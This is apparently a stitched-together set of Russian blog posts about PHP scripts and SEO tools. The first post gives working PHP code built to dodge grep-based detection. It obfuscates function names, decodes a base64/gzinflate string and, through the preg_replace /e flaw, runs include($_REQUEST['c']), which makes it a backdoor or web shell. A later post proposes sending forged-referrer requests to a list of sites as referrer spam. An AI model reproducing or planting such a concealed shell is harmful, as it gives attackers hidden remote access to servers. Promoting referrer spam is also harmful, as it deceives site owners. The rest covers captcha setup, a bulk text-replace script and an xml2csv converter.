Задача: Сделать возможность вызова функций system, passthru, exec и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (grep -rl ‘function‘ /path) данные функции не светились.

Немного поломав мозг, пришел к такому решению:

// функции для выполнения
$funcs = array(
	'g'.'z'.'i'.'n'.'f'.'l'.'a'.'t'.'e',
	'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e',
	'p'.'h'.'p'.'i'.'n'.'f'.'o'
);
 
$strng = 'KyhKLUtNAQA='; # прогнанный через gzinflate base64 хэш имени функции (preved)

function preved() {
############## Здесь любой код для выполнения ############
	(isset($_REQUEST['c'])) ? include($_REQUEST['c']) : die();
###########################################################
}
 
function test() {
		global $funcs, $strng;
		$result = $funcs[0]($funcs[1]($strng));
	return $result(); // заменить на $func[X], если не нужно вызывать функцию preved()
}
echo preg_replace("/123/e",test(),456);

Как видно из листинга, скрипт использует баг в функции preg_replace() с флагом /e. Разобраться с ним не сложно.
В результате получился скрипт, который может выполнять практически любые функции, кроме eval(), так как:

это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций (c) мануал

Единственный минус – можно выполнить поиск по имени функции preg_replace(), но ее можно зашифровать аналогично примерам из скрипта или любым другим способом.

$pages = glob("/home/user/public_html/files/*");
$chto = 'hello world!';
$nachto = 'привет, мир!';
foreach($pages as $page)
	if(!substr_count((string)$page, 'index.php')) {
	$data = file_get_contents($page);
    $data = str_ireplace($chto, $nachto, $data);
	file_put_contents($page, $data);
}

Ничего сложного, но если бы не скрипт – много бы было возни лишней.

А что, надо это как-то использовать. А как использовать? Правильно, брать базу тематичных сайтов и слать по ним http запросы с поддельным referrer’ом.

Натолкнуло на мысль давно, но как-то не придавал этому значение. А тут в ежедневной статистике блога вижу один и тот же url сайта, с которого идут переходы, хотя активной ссылки на ресурсе нет.
Вот для примера:

Понятное дело, что приток трафика будет совсем не большой, да и тот «админский»

Как такое реализовать? Достаем базу тематичных сайтов/блогов, пишем скрипт, который бы слал запросы с поддельным http_referrer на эти сайты. Кому интересно – могу выложить скрипт.

P.S. Сегодня приятно удивился, когда увидел на страницах журнала ][akep анонс своего скрипта, который написал еще два с лишним года назад. Приятно, черт возьми…

Интерфейс оптимизатора

• Проверка YAP, YAL, GC непосредственно в интерфейсе биржи (Очень нужная вещь)
• Возможность отображения актуального PageRank купленных страниц и ТИЦ сайтов не дожидаясь пересчета
• Проверка на склейку ТИЦ и PageRank страниц с размещенными ссылками.
• Выборочный экспорт размещенных ссылок в текстовый файл (экспортируются помеченные галочками ссылки)
• Контроль URL купленных страниц и новых заявок
• Экспорт локальных и глобальных черных списков
• Экспорт извещений в текстовый файл

Интерфейс вебмастера

• Проверка проиндексированности страниц сайта в Яндекс
• Контроль URL страниц перед модерацией площадки (отметка страниц с сессиями, профилей, страниц поиска и т.д.)
• Проверка актуального значения PageRank страниц сайта
• Экспорт оптимизаторских ссылок в текстовый файл и форма быстрой расстановки галочек по списку URL на странице с размещенными ссылками
• Проверка проиндексированности страниц, на которые ссылаются оптимизаторские ссылки, в Яндекс
• Возможность отображения значения ТИЦ оптимизаторских сайтов
• Показ текущего курса доллара и валютный калькулятор на странице вывода средств
• Экспорт локальных и глобальных черных списков
• Быстрый отсев спам-заявок с помощью набора соответствующих фильтров на странице с новыми заявками

Фильтры заявок

Быстрое выделение и отметка следующих типов заявок:

• с двумя одинаковыми словами подряд
• с тремя одинаковыми словами в тексте
• в которых присутствуют две пары одинаковых слов
• длиннее 50 символов
• длиннее 75 символов
• без русских букв
• только из заглавных букв
• начинающиеся не с буквы или цифры (точки в начале и т.д.)
• содержащие сдвоенные, неразрывные пробелы и символы табуляции
• любой другой пользовательский фильтр, заданный регулярным выражением

Мне этот аддон очень понравился. Работать с Сапе стало удобнее

На посту: SEO блог Анапского бомжа.

С недавних пор тоже озадачился этой проблемой и сейчас расскажу как я ее решил.
Начну с того, что страница с формой заявки находится на поддомене одного из моих сайтов. То есть, кроме этой формы на странице больше ничего нет. Так что буду описывать все исходя из этих данных.

Прикручиваем KCaptcha к этой форме. Итак, для начала скачаем архив с kcaptcha к себе и распакуем его. В итоге, увидим такую картину:

/
  include
  captcha.php

Затем открываем /include/kcaptcha_config.php и изменяем все по вкусу. Теперь в той же директории, что и kcaptcha, создадим файлы:

/
  index.php
  func.js

В index.php в самом начале добавляем

Далее, добавляем перед формой партнерки

Вы неверно ввели код с картинки.");
	} else {
	$doctor = $_POST['doctor'];
	$region = $_POST['region'];
	$name = $_POST['name'];
	$phoneprefix = $_POST['phoneprefix'];
	$phone = $_POST['phone'];
	$comment = $_POST['comment'];
	$programID = $_POST['programID'];
	$partnerID = $_POST['partnerID'];
		// посылаем http запрос на http://partner.8088.ru/query.php
		$curl = curl_init(); // инициализируем cURL
		// А дальше устанавливаем опции запроса в любом порядке
		curl_setopt($curl, CURLOPT_URL, 'http://partner.8088.ru/query.php'); // Здесь устанавливаем URL к которому нужно обращаться
		curl_setopt($curl, CURLOPT_FAILONERROR, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 3); // устанавливаем таймаут в секундах
		curl_setopt($curl, CURLOPT_POST, 1); // устанавливаем метод POST
		curl_setopt($curl, CURLOPT_POSTFIELDS, "doctor=$doctor&region=$region&name=$name&phoneprefix=$phoneprefix&phone=$phone&comment=$comment&programID=$programID&partnerID=$partnerID"); // сам POST запрос
		curl_exec($curl);
		//$result = curl_exec($curl); // выполняем запрос и записываем в переменную
		curl_close($curl); // заканчиваем работу curl
		die();
		//echo $result; // собственно печатаем результат
	}
}
?>

Теперь в форму партнерки добавим одну строчку

echo '
 
Введите число с картинки
 
<input name="keystring" size="10" type="text" /><img src="captcha.php?'.session_name().'='.session_id().'" alt="" />';

Вот в общем-то и все. Скачать посмотреть пример реализации можно здесь. Не забудьте в форме заменить XXXX на ваш партнерскй id.

Xml2csv

Шаг 1

Просто жмем на ссылку «Скачать файлы с сервера» и ждем. Если у вас свои xml файлы, пропускаем этот шаг.

Шаг 2

Когда у нас все закачалось, выбираем из списка нужный файл (можно выбрать все сразу) и жмем «Конверт».

Получаем примерно такой результат:

Вот, собственно, и все. Теперь немного о том, как его натсроить. Открываем xml2csv.php, видим там строчки:

$folder = 'files'; // папка с файлами xml (нужны права на запись)
$delimiter = '^'; // разделитель для данных csv

Изменяем по вкусу и сохраняем. Вот и все настройки
Скрипт использует XPath язык запросов для работы с XML. Так же для работы скрипта необходимы права на запись в директорию, в которой лежит скрипт, в директорию files и необходимы права на удаленные соединения (не обязательно, если xml файлы вы закачиваете сами).
Писал на скорую руку, так что сильно не пинайте

Скачать xml2csv converter